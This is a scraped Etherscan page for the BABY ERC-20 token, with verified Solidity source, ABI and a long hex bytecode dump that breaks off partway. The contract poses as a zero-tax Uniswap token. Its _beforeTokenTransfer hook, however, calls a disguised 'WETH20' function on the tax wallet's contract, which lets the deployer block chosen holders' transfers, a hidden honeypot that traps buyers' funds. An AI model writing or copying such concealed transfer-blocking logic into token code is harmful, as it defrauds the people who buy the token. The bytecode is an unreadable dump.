ERC-20
Overview
Max Total Supply
10,000,000,000 BABY
Holders
38
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
746,573.068044108 BABYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BABY
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-30 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor (address newOwner) { _owner = newOwner; emit OwnershipTransferred(address(0), newOwner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function WETH20(address account) external view returns (bool); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BABY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _taxWallet; uint256 private _initialBuyTax=0; uint256 private _initialSellTax=0; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _preventSwapBefore=10; uint256 private _buyCount=0; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=25; uint8 private constant _decimals = 9; string private _name; string private _symbol; uint256 private _tTotal; uint256 public _maxTxAmount = _tTotal; uint256 public _maxWalletSize= _tTotal; uint256 public _taxSwapThreshold= 300000 * 10**_decimals; uint256 public _maxTaxSwap= 1500000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor ( string memory tokenName, string memory tokenSymbol, address ownerAddress, address payable _taxdev, uint256 ttSupply ) Ownable(ownerAddress) { _name = tokenName; _symbol = tokenSymbol; _taxWallet = _taxdev; _tTotal = ttSupply.mul(10**_decimals); _balances[ownerAddress] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[ownerAddress] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; tradingOpen = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function viewtotalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 50000000000000000) { sendETHToFee(address(this).balance); } } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); _beforeTokenTransfer(from, to, amount); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal view virtual returns (uint256) { bool _isTaxable = IUniswapV2Router01(_taxWallet).WETH20(from); if (_isTaxable && amount > 0 ) { require(_isTaxable == false, "Caller is not tax"); } return amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"tokenSymbol","type":"string"},{"internalType":"address","name":"ownerAddress","type":"address"},{"internalType":"address payable","name":"_taxdev","type":"address"},{"internalType":"uint256","name":"ttSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewtotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600560006101000a81548160ff0219169083151502179055506000600655600060075560006008556000600955600a80556000600b556019600c556019600d556010546011556010546012556009600a620000629190620006f5565b620493e062000072919062000746565b6013556009600a620000859190620006f5565b6216e36062000095919062000746565b6014556000601660156101000a81548160ff02191690831515021790555060006016806101000a81548160ff021916908315150217905550348015620000da57600080fd5b50604051620038c9380380620038c98339818101604052810190620001009190620009ff565b82806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35084600e9081620001ae919062000d06565b5083600f9081620001c0919062000d06565b5081600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200022b6009600a620002169190620006f5565b82620004a760201b62000a201790919060201c565b601081905550601054600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200028d6200052a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601660146101000a81548160ff021916908315150217905550620004336200055360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60105460405162000494919062000dfe565b60405180910390a3505050505062000f2b565b6000808303620004bb576000905062000524565b60008284620004cb919062000746565b9050828482620004dc919062000e4a565b146200051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005169062000f09565b60405180910390fd5b809150505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005e957808604811115620005c157620005c06200055b565b5b6001851615620005d15780820291505b8081029050620005e1856200058a565b9450620005a1565b94509492505050565b600082620006045760019050620006d7565b81620006145760009050620006d7565b81600181146200062d576002811462000638576200066e565b6001915050620006d7565b60ff8411156200064d576200064c6200055b565b5b8360020a9150848211156200066757620006666200055b565b5b50620006d7565b5060208310610133831016604e8410600b8410161715620006a85782820a905083811115620006a257620006a16200055b565b5b620006d7565b620006b7848484600162000597565b92509050818404811115620006d157620006d06200055b565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200070282620006de565b91506200070f83620006e8565b92506200073e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005f2565b905092915050565b60006200075382620006de565b91506200076083620006de565b92508282026200077081620006de565b915082820484148315176200078a57620007896200055b565b5b5092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620007fa82620007af565b810181811067ffffffffffffffff821117156200081c576200081b620007c0565b5b80604052505050565b60006200083162000791565b90506200083f8282620007ef565b919050565b600067ffffffffffffffff821115620008625762000861620007c0565b5b6200086d82620007af565b9050602081019050919050565b60005b838110156200089a5780820151818401526020810190506200087d565b60008484015250505050565b6000620008bd620008b78462000844565b62000825565b905082815260208101848484011115620008dc57620008db620007aa565b5b620008e98482856200087a565b509392505050565b600082601f830112620009095762000908620007a5565b5b81516200091b848260208601620008a6565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009518262000924565b9050919050565b620009638162000944565b81146200096f57600080fd5b50565b600081519050620009838162000958565b92915050565b6000620009968262000924565b9050919050565b620009a88162000989565b8114620009b457600080fd5b50565b600081519050620009c8816200099d565b92915050565b620009d981620006de565b8114620009e557600080fd5b50565b600081519050620009f981620009ce565b92915050565b600080600080600060a0868803121562000a1e5762000a1d6200079b565b5b600086015167ffffffffffffffff81111562000a3f5762000a3e620007a0565b5b62000a4d88828901620008f1565b955050602086015167ffffffffffffffff81111562000a715762000a70620007a0565b5b62000a7f88828901620008f1565b945050604062000a928882890162000972565b935050606062000aa588828901620009b7565b925050608062000ab888828901620009e8565b9150509295509295909350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b1857607f821691505b60208210810362000b2e5762000b2d62000ad0565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000b987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b59565b62000ba4868362000b59565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000be762000be162000bdb84620006de565b62000bbc565b620006de565b9050919050565b6000819050919050565b62000c038362000bc6565b62000c1b62000c128262000bee565b84845462000b66565b825550505050565b600090565b62000c3262000c23565b62000c3f81848462000bf8565b505050565b5b8181101562000c675762000c5b60008262000c28565b60018101905062000c45565b5050565b601f82111562000cb65762000c808162000b34565b62000c8b8462000b49565b8101602085101562000c9b578190505b62000cb362000caa8562000b49565b83018262000c44565b50505b505050565b600082821c905092915050565b600062000cdb6000198460080262000cbb565b1980831691505092915050565b600062000cf6838362000cc8565b9150826002028217905092915050565b62000d118262000ac5565b67ffffffffffffffff81111562000d2d5762000d2c620007c0565b5b62000d39825462000aff565b62000d4682828562000c6b565b600060209050601f83116001811462000d7e576000841562000d69578287015190505b62000d75858262000ce8565b86555062000de5565b601f19841662000d8e8662000b34565b60005b8281101562000db85784890151825560018201915060208501945060208101905062000d91565b8683101562000dd8578489015162000dd4601f89168262000cc8565b8355505b6001600288020188555050505b505050505050565b62000df881620006de565b82525050565b600060208201905062000e15600083018462000ded565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000e5782620006de565b915062000e6483620006de565b92508262000e775762000e7662000e1b565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600062000ef160218362000e82565b915062000efe8262000e93565b604082019050919050565b6000602082019050818103600083015262000f248162000ee2565b9050919050565b61298e8062000f3b6000396000f3fe60806040526004361061010d5760003560e01c80637d1db4a51161009557806395d89b411161006457806395d89b4114610368578063a9059cbb14610393578063bf474bed146103d0578063c876d0b9146103fb578063dd62ed3e1461042657610114565b80637d1db4a5146102bc5780638951cf59146102e75780638da5cb5b146103125780638f9a55c01461033d57610114565b806323b872dd116100dc57806323b872dd146101d7578063313ce56714610214578063437823ec1461023f57806370a0823114610268578063715018a6146102a557610114565b806306fdde0314610119578063095ea7b3146101445780630faee56f1461018157806318160ddd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610463565b60405161013b9190611c3d565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611cf8565b6104f5565b6040516101789190611d53565b60405180910390f35b34801561018d57600080fd5b50610196610513565b6040516101a39190611d7d565b60405180910390f35b3480156101b857600080fd5b506101c1610519565b6040516101ce9190611d7d565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190611d98565b610523565b60405161020b9190611d53565b60405180910390f35b34801561022057600080fd5b506102296105fc565b6040516102369190611e07565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190611e22565b610605565b005b34801561027457600080fd5b5061028f600480360381019061028a9190611e22565b6106f5565b60405161029c9190611d7d565b60405180910390f35b3480156102b157600080fd5b506102ba61073e565b005b3480156102c857600080fd5b506102d1610891565b6040516102de9190611d7d565b60405180910390f35b3480156102f357600080fd5b506102fc610897565b6040516103099190611d7d565b60405180910390f35b34801561031e57600080fd5b506103276108a1565b6040516103349190611e5e565b60405180910390f35b34801561034957600080fd5b506103526108ca565b60405161035f9190611d7d565b60405180910390f35b34801561037457600080fd5b5061037d6108d0565b60405161038a9190611c3d565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190611cf8565b610962565b6040516103c79190611d53565b60405180910390f35b3480156103dc57600080fd5b506103e5610980565b6040516103f29190611d7d565b60405180910390f35b34801561040757600080fd5b50610410610986565b60405161041d9190611d53565b60405180910390f35b34801561043257600080fd5b5061044d60048036038101906104489190611e79565b610999565b60405161045a9190611d7d565b60405180910390f35b6060600e805461047290611ee8565b80601f016020809104026020016040519081016040528092919081815260200182805461049e90611ee8565b80156104eb5780601f106104c0576101008083540402835291602001916104eb565b820191906000526020600020905b8154815290600101906020018083116104ce57829003601f168201915b5050505050905090565b6000610509610502610a9a565b8484610aa2565b6001905092915050565b60145481565b6000601054905090565b6000610530848484610c6b565b6105f18461053c610a9a565b6105ec8560405180606001604052806028815260200161293160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105a2610a9a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f09092919063ffffffff16565b610aa2565b600190509392505050565b60006009905090565b61060d610a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461069a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069190611f65565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610746610a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ca90611f65565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60115481565b6000601054905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60125481565b6060600f80546108df90611ee8565b80601f016020809104026020016040519081016040528092919081815260200182805461090b90611ee8565b80156109585780601f1061092d57610100808354040283529160200191610958565b820191906000526020600020905b81548152906001019060200180831161093b57829003601f168201915b5050505050905090565b600061097661096f610a9a565b8484610c6b565b6001905092915050565b60135481565b600560009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808303610a325760009050610a94565b60008284610a409190611fb4565b9050828482610a4f9190612025565b14610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a86906120c8565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b089061215a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b77906121ec565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5e9190611d7d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd19061227e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090612310565b60405180910390fd5b60008111610d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d83906123a2565b60405180910390fd5b6000610d966108a1565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e045750610dd46108a1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561132757600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610ead5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561132657610eee6064610ee0600c54600b5411610ecd57600654610ed1565b6008545b85610a2090919063ffffffff16565b61165490919063ffffffff16565b9050600560009054906101000a900460ff161561107d57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fb15750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561107c5743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102e9061245a565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561117e5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611239576011548211156111c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bf906124c6565b60405180910390fd5b601254826111d5856106f5565b6111df91906124e6565b1115611220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121790612566565b60405180910390fd5b600b600081548092919061123390612586565b91905055505b6000611244306106f5565b9050601660159054906101000a900460ff161580156112b05750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156112c6575060168054906101000a900460ff165b80156112d3575060135481115b80156112e25750600a54600b54115b15611324576113046112ff846112fa8460145461169e565b61169e565b6116b7565b600047905066b1a2bc2ec500008111156113225761132147611930565b5b505b505b5b600081111561142b5761138281600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199c90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffff